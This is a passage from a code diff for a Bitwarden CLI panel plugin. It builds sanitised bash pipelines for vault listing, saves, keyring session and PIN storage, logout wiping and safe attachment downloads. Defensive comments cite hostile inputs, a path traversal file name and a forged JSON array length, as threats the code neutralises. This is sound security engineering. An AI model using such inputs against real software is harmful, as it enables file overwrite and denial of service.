be swapped between the two operations. +// 3. It always drains its stdin. `tee` writes to this branch; a branch that +// exited early would leave `tee` with a broken pipe and could take the +// whole read down. The trailing `cat` guarantees the remainder is consumed +// however `jq` ended. +// +// `pipefail` cannot see inside a process substitution, so nothing here can +// report success or failure to the panel. That is by design: `key_load_end` +// carries the panel's view of the pipeline, and the companion's own nonce and +// schema validation is what actually decides whether a load is accepted. +function agentBranchScript() { + var fifoWriter = [ + "const fs = require(\"fs\");", + "let fd = null;", + "try {", + " const flags = fs.constants.O_RDWR | fs.constants.O_NOFOLLOW;", + " const opened = fs.openSync(process.argv[1], flags);", + " const stat = fs.fstatSync(opened);", + " if ((stat.mode & fs.constants.S_IFMT) === fs.constants.S_IFIFO) fd = opened;", + " else fs.closeSync(opened);", + "} catch (error) {}", + "process.stdin.on(\"data\", function (chunk) {", + " if (fd === null) return;", + " try {", + " let offset = 0;", + " while (offset < chunk.length) offset += fs.writeSync(fd, chunk, offset);", + " } catch (error) { try { fs.closeSync(fd); } catch (ignored) {}; fd = null; }", + "});", + "process.stdin.on(\"end\", function () { if (fd !== null) fs.closeSync(fd); });" + ].join("\n") + var inner = "__qsbw_fifo=\"$XDG_RUNTIME_DIR/" + RUNTIME_SUBDIR + "/ssh-keys.fifo\"; " + // The pathname test is not the safety check -- the descriptor's own fstat + // is, below -- but it is free, and without it a companion that died + // between the panel's readiness check and this read would still cost a + // full decrypt-and-filter pass over the vault, piping private keys into a + // writer with nowhere to put them. + + "if [ -p \"$__qsbw_fifo\" ]; then " + + "timeout 10 jq -c --arg loadId \"${" + LOAD_ID_ENV + ":-}\" " + + shellQuote(AGENT_KEYS_FILTER) + " 2>/dev/null | timeout 10 node -e " + + shellQuote(fifoWriter) + " \"$__qsbw_fifo\" 2>/dev/null || true; " + + "fi; " + + "cat >/dev/null 2>&1 || true" + return "tee >(" + inner + ") | " +} + +function sanitizedListCommand(opts) { + // The validator receives at most one byte beyond the raw ceiling and counts + // bytes before UTF-8 decoding. The second cap and command substitution keep + // partial sanitized JSON out of QML-facing stdout. All pipeline diagnostics + // are suppressed because bw and jq may quote decrypted source material; the + // only error exposed to QML is the fixed message below. Blaming a failure on + // the pre-2026.8.0 malformed-SSH-item bug is left to vaultListFailureMessage(), + // which reads the already-probed CLI version instead of the failure text -- + // nothing here has to look at what the producer printed. + var agentBranch = Boolean(opts && opts.agentBranch) + var maxPlusOne = MAX_ITEMS_BYTES + 1 + var script = "export LC_ALL=C BW_NOINTERACTION=true; set -o pipefail; " + script += "__qsbw_items=$({ bw list items | head -c " + maxPlusOne + + " | node -e " + shellQuote(STRICT_JSON_PASSTHROUGH) + " " + MAX_ITEMS_BYTES + // The branch sits after the strict validator, so the companion is only + // ever offered bytes that already parsed as one strict JSON array. + + " | " + (agentBranch ? agentBranchScript() : "") + + "jq -c " + shellQuote(SANITIZED_ITEMS_FILTER) + + " | head -c " + maxPlusOne + "; } 2>/dev/null)\n" + script += "__rc=$?\n" + script += "if [ \"$__rc\" -ne 0 ] || [ \"${#__qsbw_items}\" -gt " + MAX_ITEMS_BYTES + " ]; then\n" + script += " printf '%s\\n' " + shellQuote(SANITIZED_LIST_ERROR) + " >&2\n" + script += " exit 1\n" + script += "fi\n" + script += "printf '%s' \"$__qsbw_items\"" + // Only the fan-out form needs the process-group wrapper: it is the one with + // a `tee` and a second `jq` that a lock has to be able to reap along with + // `bw`. The plain form keeps the exact command it has always run. + return agentBranch ? supervisedProcessCommand(script) : ["bash", "-c", script] +} + +function listOrganizationsCommand() { + return buildCappedCommand(["list", "organizations"], MAX_ORGS_BYTES) +} + +function listFoldersCommand() { + return buildCappedCommand(["list", "folders"], MAX_FOLDERS_BYTES) +} + +// An organization's collections. Bitwarden files org-owned items into +// collections rather than folders, and refuses to create one without at least +// one collection, so the form has to offer them. +function listOrgCollectionsCommand(organizationId) { + return buildCappedCommand(["list", "org-collections", "--organizationid", String(organizationId)], MAX_COLLECTIONS_BYTES) +} + +function parseJsonArray(raw) { + try { + var parsed = JSON.parse(raw) + return Array.isArray(parsed) ? parsed : [] + } catch (e) { + return [] + } +} + +function compareNames(a, b) { + return a.name.localeCompare(b.name, undefined, { sensitivity: "base" }) +} + +function nameById(entries, id) { + if (!id || !Array.isArray(entries)) return "" + for (var i = 0; i < entries.length; i++) { + if (entries[i].id === id) return entries[i].name + } + return "" +} + +function parseCollections(raw) { + var arr = parseJsonArray(raw) + var out = [] + for (var i = 0; i < arr.length; i++) { + var c = arr[i] + if (!c || typeof c !== "object" || !c.id) continue + out.push({ + id: String(c.id), + name: String(c.name || "Collection"), + organizationId: c.organizationId ? String(c.organizationId) : "" + }) + } + out.sort(compareNames) + return out +} + +function collectionName(collections, id) { + return nameById(collections, id) +} + +var FOLDER_ENV = "QSBW_FOLDER" + +function folderEnvVar() { + return FOLDER_ENV +} + +function folderPayload(name) { + return JSON.stringify({ name: String(name || "").trim() }) +} + +// `bw encode` is base64 and nothing else -- it reads stdin, encodes it, and +// never touches the vault or the session. Paying a full Bitwarden CLI startup +// for that cost 2.7 seconds on every single save, measured, which was the +// larger half of the time between pressing Save and seeing the item. coreutils +// does the same job in about two milliseconds and produces byte-identical +// output, which a test asserts rather than trusts. +// +// The payload still travels in the environment and is still piped rather than +// interpolated, so nothing about where the password lives has changed. +var ENCODE_CMD = "base64 -w0" + +function createFolderCommand() { + var script = "printf '%s' \"$" + FOLDER_ENV + "\" | " + ENCODE_CMD + " | bw create folder | head -c " + MAX_MISC_BYTES + return ["bash", "-c", cappedScript(script, MAX_STDERR_BYTES)] +} + +function getItemCommand(id, typeCode) { + if (Number(typeCode) === 5) return [] + return buildCappedCommand(["get", "item", "--", String(id)], MAX_DETAIL_BYTES, MAX_STDERR_BYTES) +} + +function getPasswordCommand(id, typeCode) { + if (Number(typeCode) === 5) return [] + return buildCappedCommand(["get", "password", "--raw", "--", String(id)], MAX_TOKEN_BYTES, MAX_STDERR_BYTES) +} + +function getTotpCommand(id, typeCode) { + if (Number(typeCode) === 5) return [] + return buildCappedCommand(["get", "totp", "--raw", "--", String(id)], MAX_TOKEN_BYTES) +} + +function syncCommand() { + return buildCappedCommand(["sync"], MAX_MISC_BYTES) +} + +function lockCommand() { + return buildCappedCommand(["lock"], MAX_MISC_BYTES) +} + +// ------------------------------------------------------------------------- +// CRUD Commands (Create, Edit, Delete) +// ------------------------------------------------------------------------- + +// The item JSON contains the password, so it travels in the environment. An +// inlined `printf %s ''` would put it in /proc//cmdline, which is +// world-readable here (no hidepid). +var ITEM_ENV = "QSBW_ITEM" + +function itemEnvVar() { + return ITEM_ENV +} + +// `bw create item` and `bw edit item` both print the saved cipher. That is the +// authoritative post-save state -- ids the server assigned, fields it +// normalised -- and reading it is what lets the panel skip re-listing the +// whole vault to learn about one item it just wrote. +// +// It arrives as a complete decrypted cipher, though, which is the exact thing +// sanitizedListCommand() exists to keep out of QML. So it goes through the +// same two stages the list does, in the same order: strict Node JSON first, +// then the allowlisting jq filter, emitting the same envelope shape the list +// produces. One item or a thousand, QML only ever sees output of that filter. +// +// The save's own exit status is captured before any of that runs. A failure in +// the sanitising stage must not be reported as a failed save: the item is +// already in the vault, and telling the user otherwise invites a duplicate. +// That case prints a marker and the panel falls back to a full reload. +function savePipelineScript(saveCommand) { + var maxPlusOne = MAX_MISC_BYTES + 1 + // stderr stays its own stream, capped, exactly as cappedScript() left it. + // Folding it into the captured stdout would put any `bw` warning inside the + // JSON, and a warning would then quietly cost the optimisation on every save + // that produced one. + var script = "exec 2> >(head -c " + MAX_STDERR_BYTES + " >&2); " + script += "export LC_ALL=C BW_NOINTERACTION=true; set -o pipefail; " + script += "__qsbw_saved=$(printf '%s' \"$" + ITEM_ENV + "\" | " + ENCODE_CMD + + " | " + saveCommand + " | head -c " + maxPlusOne + ")\n" + script += "__rc=$?\n" + script += "case \"$__rc\" in 141) __rc=0 ;; esac\n" + script += "if [ \"$__rc\" -ne 0 ]; then exit \"$__rc\"; fi\n" + // Saved. From here nothing may turn a stored item into a reported failure. + script += "__qsbw_env=$({ printf '%s' \"$__qsbw_saved\"" + + " | node -e " + shellQuote(STRICT_JSON_ONE_OBJECT) + " " + MAX_MISC_BYTES + + " | jq -c " + shellQuote(SANITIZED_ITEMS_FILTER) + + " | head -c " + maxPlusOne + "; } 2>/dev/null)\n" + script += "if [ $? -ne 0 ] || [ -z \"$__qsbw_env\" ] || [ \"${#__qsbw_env}\" -gt " + MAX_MISC_BYTES + " ]; then\n" + script += " printf '%s' " + shellQuote(SAVED_UNSANITIZED_MARKER) + "\n" + script += " exit 0\n" + script += "fi\n" + script += "printf '%s' \"$__qsbw_env\"" + return ["bash", "-c", script] +} + +function createItemCommand(itemData) { + var orgArg = (itemData && itemData.organizationId) ? (" --organizationid " + shellQuote(itemData.organizationId)) : "" + return savePipelineScript("bw create item" + orgArg) +} + +function editItemCommand(itemId, typeCode) { + if (Number(typeCode) === 5) return [] + return savePipelineScript("bw edit item -- " + shellQuote(itemId)) +} + +function deleteItemCommand(itemId, typeCode) { + if (Number(typeCode) === 5) return [] + return buildCappedCommand(["delete", "item", "--", String(itemId)], MAX_MISC_BYTES, MAX_STDERR_BYTES) +} + +// ------------------------------------------------------------------------- +// Keyring (libsecret / secret-tool) Commands +// ------------------------------------------------------------------------- + +// ------------------------------------------------------------------------- +// The remembered session dies with the boot that minted it +// ------------------------------------------------------------------------- +// +// A session token used to outlive its machine. The login keyring is a file on +// disk and PAM unlocks it again at the next login, so rebooting with an +// unlocked vault brought the vault back unlocked -- the panel found the token +// waiting and never asked for anything. Locking the screen is not what the +// user did; powering the machine off is, and that has to mean something. +// +// Two independent things stop it now, because one of them depends on the +// secret service and the other does not. +// +// The token goes into libsecret's `session` collection, which the secret +// service holds in memory and destroys when the login session ends, so on a +// well-behaved service there is nothing on disk to come back. Not every +// implementation offers that collection, so the store falls back to the +// default one rather than failing to remember the session at all. +// +// And the token is written behind the kernel's boot id, which is regenerated +// on every boot. A token that did survive -- fallback collection, a keyring +// restored from a backup, a service that ignores the session semantics -- no +// longer matches the running boot and is refused. That check is the guarantee; +// the collection is what keeps the token off the disk in the first place. +// +// Fail closed at every step: a missing boot id, an unreadable keyring or a +// stale entry all report no token, which lands the panel on `bw status` and +// the lock screen. A stale entry is cleared on the way out so it cannot be +// found again. +const KEYRING_SESSION_COLLECTION = "session" +const BOOT_ID_PATH = "/proc/sys/kernel/random/boot_id" + +function bootIdPath() { + return BOOT_ID_PATH +} + +function keyringStoreCommand() { + var attrs = keyringAttributes(KEYRING_ACCOUNT) + // The secret still travels in the environment (see keyringStoreScript); only + // the boot id, which is not a secret, is read inside the script. + var script = "store() { printf '%s %s' \"$(cat " + shellQuote(BOOT_ID_PATH) + ")\" \"$" + + KEYRING_SECRET_ENV + "\" | secret-tool store \"$@\" --label=" + + shellQuote("Bitwarden Vault Session") + attrs + "; }; " + + "store --collection=" + shellQuote(KEYRING_SESSION_COLLECTION) + " 2>/dev/null || store" + return ["bash", "-c", script] +} + +function keyringLookupCommand() { + var attrs = keyringAttributes(KEYRING_ACCOUNT) + var script = "boot=$(cat " + shellQuote(BOOT_ID_PATH) + " 2>/dev/null | head -c 128) || exit 0; " + + "[ -n \"$boot\" ] || exit 0; " + + "stored=$(secret-tool lookup" + attrs + " 2>/dev/null | head -c " + MAX_TOKEN_BYTES + ") || exit 0; " + + "case \"$stored\" in " + + "\"$boot \"?*) printf '%s' \"${stored#* }\" ;; " + // Anything else is from another boot, or from before the boot id was + // written at all. Drop it so the next lookup does not have to think. + + "*) [ -n \"$stored\" ] && secret-tool clear" + attrs + " >/dev/null 2>&1 ;; " + + "esac; exit 0" + return ["bash", "-c", cappedScript(script)] +} + +function keyringClearCommand() { + return keyringClearEntryCommand(KEYRING_ACCOUNT) +} + +// ------------------------------------------------------------------------- +// Fingerprint Unlock +// ------------------------------------------------------------------------- +// +// PAM can prove the user is present but cannot produce the Bitwarden master +// password, and `bw unlock` accepts nothing else. So fingerprint unlock keeps +// the master password in the login keyring and uses a successful fingerprint +// verification as the gate on reading it back -- the same trade the Bitwarden +// desktop client makes for its own biometric unlock. Opt-in only. + +function keyringStoreMasterPasswordCommand() { + return ["bash", "-c", keyringStoreScript("Bitwarden Master Password (fingerprint unlock)", KEYRING_MASTER)] +} + +function keyringLookupMasterPasswordCommand() { + return keyringLookupEntryCommand(KEYRING_MASTER) +} + +function keyringClearMasterPasswordCommand() { + return keyringClearEntryCommand(KEYRING_MASTER) +} + +// Presence check that never puts the secret on stdout, so the panel can show +// the right prompt without reading the password until a finger is verified. +function keyringHasMasterPasswordCommand() { + return keyringHasEntryCommand(KEYRING_MASTER) +} + +// ------------------------------------------------------------------------- +// PIN Unlock +// ------------------------------------------------------------------------- +// +// A PIN cannot produce the master password any more than a fingerprint can, so +// the password is encrypted *with a key derived from the PIN* and only the +// ciphertext is kept. Unlike fingerprint unlock, reading the keyring is then +// not enough on its own -- an attacker also has to break the PIN. A wrong PIN +// fails decryption outright, so correctness needs no separately stored hash +// (and no hash to attack). +// +// Be honest about the limit: a short PIN is a small search space, and the only +// thing standing between a leaked blob and the master password is the KDF cost. +// That is why the iteration count is high and short PINs are refused. + +function pinEnvVar() { return PIN_ENV } +function pinMinLength() { return PIN_MIN_LENGTH } +function pinRecommendedLength() { return PIN_RECOMMENDED_LENGTH } + +function validatePin(pin, confirm) { + var p = String(pin || "") + if (p.length < PIN_MIN_LENGTH) return "PIN must be at least " + PIN_MIN_LENGTH + " digits" + if (!/^[0-9]+$/.test(p)) return "PIN must contain only digits" + if (confirm !== undefined && String(confirm || "") !== p) return "PINs do not match" + return "" +} + +// Not an error -- the PIN is accepted -- but short enough to deserve saying so +// in as many words, with the number rather than a vague "weak". Empty for a +// PIN of the recommended length or longer, and empty while still typing so the +// warning does not flash up at every keystroke on the way to six. +function pinWeakWarning(pin) { + var p = String(pin || "") + if (p.length < PIN_MIN_LENGTH || p.length >= PIN_RECOMMENDED_LENGTH) return "" + var combinations = Math.pow(10, p.length).toLocaleString("en-US") + return "A " + p.length + "-digit PIN is only " + combinations + " combinations. " + + "If the encrypted blob ever leaks, that is minutes of offline guessing. " + + "Use " + PIN_RECOMMENDED_LENGTH + " or more." +} + +function isPinWeak(pin) { + return pinWeakWarning(pin) !== "" +} + +// Encrypt and store in one process, so the plaintext never travels back +// through QML on the way to the keyring. +function pinStoreCommand() { + var script = "printf '%s' \"$" + KEYRING_SECRET_ENV + "\"" + + " | openssl enc -aes-256-cbc -pbkdf2 -iter " + PIN_ITERATIONS + + " -md sha256 -salt -pass env:" + PIN_ENV + " -base64 -A" + + " | secret-tool store --label=" + shellQuote("Bitwarden Master Password (PIN unlock)") + + " service " + shellQuote(KEYRING_SERVICE) + " account " + shellQuote(KEYRING_PIN) + return ["bash", "-c", cappedScript(script)] +} + +// Non-zero exit means the PIN was wrong (or the blob is gone). stdout carries +// the master password only on success. +function pinUnlockCommand() { + var script = "secret-tool lookup" + keyringAttributes(KEYRING_PIN) + " 2>/dev/null | head -c 8192" + + " | openssl enc -d -aes-256-cbc -pbkdf2 -iter " + PIN_ITERATIONS + + " -md sha256 -pass env:" + PIN_ENV + " -base64 -A | head -c " + MAX_TOKEN_BYTES + return ["bash", "-c", cappedScript(script)] +} + +function keyringClearPinCommand() { + return keyringClearEntryCommand(KEYRING_PIN) +} + +function keyringHasPinCommand() { + return keyringHasEntryCommand(KEYRING_PIN) +} + +// ------------------------------------------------------------------------- +// Everything the keyring holds, gone in one go +// ------------------------------------------------------------------------- +// +// Logging out is the moment the plugin should be holding nothing for this +// account. The session token is the least of it: two of the three entries are +// the master password itself -- once in the clear behind fingerprint unlock, +// once encrypted under a four-to-six digit PIN -- and both live in the default +// collection, which is a file on disk that PAM unlocks at every login. Neither +// is any use to an account that is no longer signed in, and both outlive a +// reboot by design, so neither may outlive the logout. +// +// One command that names every account rather than three calls the panel +// decides between, because the deciding was the bug: those decisions were made +// from the panel's own flags, and a flag describes what the settings screen +// last saw rather than what is in the keyring. `fingerprintStored` goes false +// the moment a reader is unplugged or fprintd is uninstalled -- the master +// password does not go anywhere. `secret-tool clear` on an entry that is not +// there returns 1 without printing an error. Worse, `clear` only removes +// unlocked matches, so that result alone cannot distinguish absence from a +// credential hidden in a locked collection. Search first, request unlock of +// every match, clear, then search again. Logout succeeds only when that final +// search proves no matching item remains. +var KEYRING_ALL_ACCOUNTS = [KEYRING_ACCOUNT, KEYRING_MASTER, KEYRING_PIN] + +function keyringSearchStateScript(account, resultVar) { + // Consume the complete search output with wc instead of capturing it: for an + // unlocked item secret-tool includes the secret in that stream. Only its + // byte count and the producer exit code are retained by the shell. + var attrs = keyringAttributes(account) + return resultVar + "=$(secret-tool search --all" + attrs + + " 2>/dev/null | wc -c | tr -d '[:space:]'; " + + "__keyring_pipe=(\"${PIPESTATUS[@]}\"); " + + "printf ':%s' \"${__keyring_pipe[0]}\"); " +} + +function keyringClearAllCommand() { + var script = "rc=0; " + for (var i = 0; i < KEYRING_ALL_ACCOUNTS.length; i++) { + var attrs = keyringAttributes(KEYRING_ALL_ACCOUNTS[i]) + script += keyringSearchStateScript(KEYRING_ALL_ACCOUNTS[i], "__keyring_before") + script += "__keyring_count=${__keyring_before%%:*}; " + + "__keyring_search_rc=${__keyring_before##*:}; " + + "if [ \"$__keyring_search_rc\" -ne 0 ]; then rc=1; " + + "elif [ \"$__keyring_count\" -gt 0 ]; then " + + "secret-tool search --all --unlock" + attrs + " >/dev/null 2>&1 || true; " + + "secret-tool clear" + attrs + " >/dev/null 2>&1 || true; " + script += keyringSearchStateScript(KEYRING_ALL_ACCOUNTS[i], "__keyring_after") + script += "__keyring_count=${__keyring_after%%:*}; " + + "__keyring_search_rc=${__keyring_after##*:}; " + + "if [ \"$__keyring_search_rc\" -ne 0 ] || [ \"$__keyring_count\" -ne 0 ]; then rc=1; fi; fi; " + } + script += "exit \"$rc\"" + return ["bash", "-c", script] +} + +// ------------------------------------------------------------------------- +// Parsing +// ------------------------------------------------------------------------- + +function parseStatus(raw) { + var st = null + try { + st = JSON.parse(raw) + } catch (e) { + return null + } + if (!st || typeof st !== "object") return null + return { + authenticated: st.status !== "unauthenticated", + locked: st.status === "locked", + unlocked: st.status === "unlocked", + userEmail: String(st.userEmail || ""), + userId: String(st.userId || ""), + lastSync: String(st.lastSync || ""), + serverUrl: String(st.serverUrl || "") + } +} + +function parseOrganizations(raw) { + var arr = parseJsonArray(raw) + var out = [] + for (var i = 0; i < arr.length; i++) { + var o = arr[i] + if (!o || typeof o !== "object") continue + out.push({ + id: String(o.id || ""), + name: String(o.name || "Organization"), + status: Number(o.status || 0) + }) + } + return out +} + +function parseFolders(raw) { + var arr = parseJsonArray(raw) + var out = [] + for (var i = 0; i < arr.length; i++) { + var f = arr[i] + if (!f || typeof f !== "object") continue + // bw represents "no folder" as an entry with a null id on some versions. + // The panel has its own control for that, so drop it here. + if (!f.id) continue + out.push({ id: String(f.id), name: String(f.name || "Folder") }) + } + + out.sort(compareNames) + return out +} + +function folderName(folders, folderId) { + return nameById(folders, folderId) +} + +var ITEM_TYPES = { + "1": "login", + "2": "secureNote", + "3": "card", + "4": "identity", + "5": "sshKey" +} + +function itemTypeName(type) { + return ITEM_TYPES[String(type)] || "login" +} + +// The same glyphs the type filter chips use, so an item row and the chip +// that selects it agree. Two of these used to be neither: the comments said +// "note icon" and "credit card icon", but the codepoints were md-fan and +// md-close_octagon_outline -- a ceiling fan and a stop sign. +function itemTypeGlyph(type) { + var t = itemTypeName(type) + switch (t) { + case "login": return "󰌋" // md-key_variant + case "secureNote": return "󰈙" // md-file_document + case "card": return "󰿯" // md-credit_card + case "identity": return "" // fa-user + case "sshKey": return "󰣀" // md-ssh + default: return "󰞀" // md-shield_half_full + } +} + +function itemTypeLabel(type) { + var t = itemTypeName(type) + switch (t) { + case "login": return "Login" + case "secureNote": return "Secure Note" + case "card": return "Card" + case "identity": return "Identity" + case "sshKey": return "SSH Key" + default: return "Item" + } +} + +// ------------------------------------------------------------------------- +// Attachments +// ------------------------------------------------------------------------- +// +// `bw list items` carries the attachment metadata with the cipher -- id, file +// name and size -- so the panel can list an item's files without asking the +// CLI anything. Only the bytes need a round trip, and those are fetched on +// demand by attachmentDownloadCommand(). + +// ------------------------------------------------------------------------- +// Array.isArray is not safe on anything that came back out of QML +// ------------------------------------------------------------------------- +// +// `bw`'s JSON parses into real arrays, and every check below used to say +// Array.isArray(). That holds right up until the parsed cipher is stored in a +// QML `var` property -- root.items -- and read back out to build the detail +// view. Qt converts the nested arrays on that round trip into array-like +// objects: `typeof` is "object", `.length` is right, indexing works, and +// Array.isArray() returns false. So the check passes in Node and fails in the +// panel, silently, yielding an empty list rather than an error. +// +// That is exactly how an item the list had already marked as having twelve +// attachments opened with no attachments section at all -- and, it turns out, +// why the detail view's WEBSITE section has been empty for logins that +// plainly have a URI. +// +// Duck-type instead: anything with a sane numeric length is a list. +// +// Bounded, because duck-typing takes the server's word for how long the list +// is. `{"attachments":{"length":200000000}}` is forty bytes of JSON that asked +// for a two-hundred-million-element array, and the process that dies of it is +// the whole shell -- bar, panel and all. The item-list byte cap is no defence +// here: the lie costs the server nothing to tell. No item carries thousands of +// URIs, attachments or custom fields, so past the ceiling there is no list +// worth building. +var MAX_LIST_ENTRIES = 4096 + +function toList(value) { + if (Array.isArray(value)) { + return value.length > MAX_LIST_ENTRIES ? value.slice(0, MAX_LIST_ENTRIES) : value + } + if (!value || typeof value !== "object") return [] + var n = value.length + if (typeof n !== "number" || n < 0 || n !== Math.floor(n)) return [] + if (n > MAX_LIST_ENTRIES) n = MAX_LIST_ENTRIES + var out = [] + for (var i = 0; i < n; i++) out.push(value[i]) + return out +} + +function parseAttachments(raw) { + var out = [] + var list = toList(raw) + for (var i = 0; i < list.length; i++) { + var a = list[i] + if (!a || !a.id) continue + out.push({ + id: String(a.id), + fileName: String(a.fileName || "") || "attachment", + size: String(a.size || ""), + sizeName: String(a.sizeName || "") || formatAttachmentSize(a.size) + }) + } + return out +} + +var ATTACHMENT_UNITS = ["B", "KB", "MB", "GB", "TB"] + +// bw normally supplies its own `sizeName`, so this is the fallback for the +// attachments that arrive with only a byte count. +function formatAttachmentSize(bytes) { + // Nothing at all is no size text; zero bytes is a size, and a real one. + if (bytes === null || bytes === undefined || String(bytes).trim() === "") return "" + var n = Number(bytes) + if (!isFinite(n) || n < 0) return "" + var unit = 0 + while (n >= 1024 && unit < ATTACHMENT_UNITS.length - 1) { + n = n / 1024 + unit++ + } + var value = unit === 0 + ? String(Math.round(n)) + : (Math.round(n * 100) / 100).toFixed(2).replace(/\.?0+$/, "") + return value + " " + ATTACHMENT_UNITS[unit] +} + +// A file name out of the vault is attacker-controlled text, and it is about to +// become part of a path we create. "../../.bashrc", an embedded newline or a +// NUL all have to come out as an inert basename: path separators and control +// characters are replaced rather than stripped, so nothing can be spliced back +// together into a traversal, and a leading dot or dash cannot turn the result +// into a hidden file or into something that reads as a flag. +function safeAttachmentFileName(raw) { + var name = String(raw || "") + name = name.replace(/^.*[\\/]/, "") // best-effort basename + name = name.replace(/[\x00-\x1f\x7f\\/]/g, "_") // the part that guarantees it + name = name.replace(/^[\s.\-]+/, "").replace(/\s+$/, "") + if (name.length > 128) { + var ext = "" + var dot = name.lastIndexOf(".") + if (dot > 0 && name.length - dot <= 12) ext = name.slice(dot) + name = name.slice(0, 128 - ext.length) + ext + } + return name || "attachment" +} + +function parentDirectory(path) { + var p = String(path || "") + var cut = p.lastIndexOf("/") + if (cut < 0) return "" + return cut === 0 ? "/" : p.slice(0, cut) +} + +function baseName(path) { + var p = String(path || "") + var cut = p.lastIndexOf("/") + return cut < 0 ? p : p.slice(cut + 1) +} + +// Saves one attachment into the user's download directory and prints the path +// it landed on -- which is the only way the panel learns where that was, since +// the directory is resolved at run time. An existing file of the same name is +// never overwritten: " (1)", " (2)" and so on go before the extension until +// the name is free. +// +// The attachment id, the item id and the file name all come out of the vault, +// so all three are quoted rather than interpolated bare, and the file name has +// been through safeAttachmentFileName() before it gets here. +// +// Two things this must not do, neither of which a `[ -e ]` test can prevent. +// +// It must not write *through* whatever happens to sit at the chosen path. `-e` +// follows symlinks, so a dangling one reads as a free name and bw would then +// create the file the link points at; and even a correct test is only true for +// as long as it takes to return, so a link dropped in afterwards still wins. +// The bytes therefore land in a freshly made private directory first, and the +// finished file claims its name with link(), which never follows the last +// component of the new path and fails outright if anything is already there. +// That single call is the existence test and the creation at once, so there is +// no window between them to race, and nothing to redirect. +// +// It must not accept an unbounded transfer. The size the vault reports is the +// server's word rather than proof, so it only buys an early, readable refusal; +// RLIMIT_FSIZE, a timeout, and a free-space check are the limits that hold when +// it lies. +function attachmentDownloadCommand(attachmentId, itemId, fileName, declaredSize) { + var maxBytes = MAX_ATTACHMENT_BYTES + var maxMb = Math.round(maxBytes / (1024 * 1024)) + var maxBlocks = Math.ceil(maxBytes / 1024) // ulimit -f counts 1 KB blocks + + // The declared size is the only thing out of the vault that reaches the + // script as a bare word rather than a quoted one, and JavaScript prints a + // large enough number in exponential notation. "1e+30" is not an integer to + // `[ ]`, so a server that declares an absurd size made both comparisons + // below fail as errors rather than as answers -- and a check that errors + // inside an `if` is simply skipped, which left the download running with no + // declared-size ceiling and no free-space check at all, silently. + // + // Nothing above the limit needs an exact figure, since it is refused either + // way, so anything larger is clamped to one byte over it. That keeps every + // number written into the script a plain decimal integer and turns the lie + // into the refusal it was always meant to be. + var numericSize = Number(declaredSize) + var sizeKnown = declaredSize !== undefined && declaredSize !== null + && String(declaredSize).trim() !== "" && isFinite(numericSize) && numericSize >= 0 + var want = sizeKnown ? Math.floor(numericSize) : 0 + if (want > maxBytes) want = maxBytes + 1 + + // When metadata omits the size, reserve for the largest transfer the kernel + // limit permits. Treating unknown as zero let a bounded 512 MB download start + // on a nearly full disk after checking for only the 64 MB safety margin. + var reserveBytes = sizeKnown ? want : maxBytes + var needKb = Math.ceil((reserveBytes + ATTACHMENT_FREE_SLACK_BYTES) / 1024) + + var script = [ + "set -e", + // A decrypted attachment must not be readable by anyone else while it sits + // in the staging directory, nor after it lands. + "umask 077", + "exec 2> >(head -c " + MAX_STDERR_BYTES + " >&2)", + "name=" + shellQuote(safeAttachmentFileName(fileName)), + "max=" + maxBytes, + "want=" + want, + "dir=\"$(xdg-user-dir DOWNLOAD 2>/dev/null || true)\"", + // xdg-user-dir answers $HOME for a directory it does not know about, and + // $HOME is not somewhere to drop files. + "if [ -z \"$dir\" ] || [ \"$dir\" = \"$HOME\" ]; then dir=\"$HOME/Downloads\"; fi", + "mkdir -p -- \"$dir\"", + + "if [ \"$want\" -gt \"$max\" ]; then", + " echo 'Attachment is larger than the " + maxMb + " MB download limit.' >&2; exit 1", + "fi", + + // A download that fits the limit can still be the one that fills the disk. + "avail=$(df -Pk -- \"$dir\" 2>/dev/null | awk 'NR==2 {print $4}')", + "case \"$avail\" in ''|*[!0-9]*) avail='' ;; esac", + "if [ -n \"$avail\" ] && [ \"$avail\" -lt " + needKb + " ]; then", + " echo 'Not enough free space in the download folder.' >&2; exit 1", + "fi", + + // Staged inside the destination directory, so the finished file can be + // linked into place without crossing a filesystem boundary. + "work=$(mktemp -d -- \"$dir/.qsbw-XXXXXXXX\")", + "trap 'rm -rf -- \"$work\"' EXIT HUP INT TERM", + "tmp=\"$work/part\"", + + // RLIMIT_FSIZE stops the write itself, so an oversized attachment dies + // mid-transfer instead of on a check that trusted the declared size. + "rc=0", + "( ulimit -f " + maxBlocks + "; exec timeout " + ATTACHMENT_TIMEOUT_SECS + "s bw get attachment --itemid " + shellQuote(itemId) + + " --output \"$tmp\" -- " + shellQuote(attachmentId) + " >/dev/null ) || rc=$?", + "if [ \"$rc\" -ne 0 ]; then", + " case \"$rc\" in", + " 124) echo 'Download timed out.' >&2 ;;", + " 153) echo 'Attachment exceeded the " + maxMb + " MB download limit.' >&2 ;;", + " esac", + " exit 1", + "fi", + + // Belt and braces: the limit above is the kernel's, this one holds even + // where it was not applied. + "got=$(wc -c < \"$tmp\" 2>/dev/null || echo 0)", + "if [ \"$got\" -gt \"$max\" ]; then", + " echo 'Attachment exceeded the " + maxMb + " MB download limit.' >&2; exit 1", + "fi", + + // Asked once, rather than inferred from a failure that could equally mean + // the name was taken. + "hardlink=1", + ": > \"$work/probe\"", + "ln -- \"$work/probe\" \"$work/probe2\" 2>/dev/null || hardlink=0", + "rm -f -- \"$work/probe\" \"$work/probe2\"", + + "stem=\"$name\"; ext=\"\"", + "case \"$name\" in *.*) stem=\"${name%.*}\"; ext=\".${name##*.}\";; esac", + "out=''; n=0", + "while [ \"$n\" -le 999 ]; do", + " if [ \"$n\" -eq 0 ]; then cand=\"$dir/$name\"; else cand=\"$dir/$stem ($n)$ext\"; fi", + " if [ \"$hardlink\" = 1 ]; then", + " if ln -- \"$tmp\" \"$cand\" 2>/dev/null; then out=\"$cand\"; break; fi", + // Some removable and FUSE filesystems do not support hard links. Keep the + // same no-overwrite contract there with mv -n after rejecting both an + // existing entry and a dangling symlink. + " elif [ ! -e \"$cand\" ] && [ ! -L \"$cand\" ] && mv -n -- \"$tmp\" \"$cand\" 2>/dev/null; then", + " out=\"$cand\"; break", + " fi", + " n=$((n+1))", + "done", + "if [ -z \"$out\" ]; then", + " echo 'Could not find a free name in the download folder.' >&2; exit 1", + "fi", + "printf %s \"$out\" | head -c 4096" + ].join("\n") + // The panel cancels this Process on lock/logout. Supervision gives the + // attachment shell and every child a private process group, so SIGTERM + // reaches timeout, bw, and the staging cleanup rather than only the wrapper. + return supervisedProcessCommand(script) +} + +function loginUris(login) { + var uris = [] + var rawUris = toList(login.uris) + for (var i = 0; i < rawUris.length; i++) { + if (rawUris[i] && rawUris[i].uri) 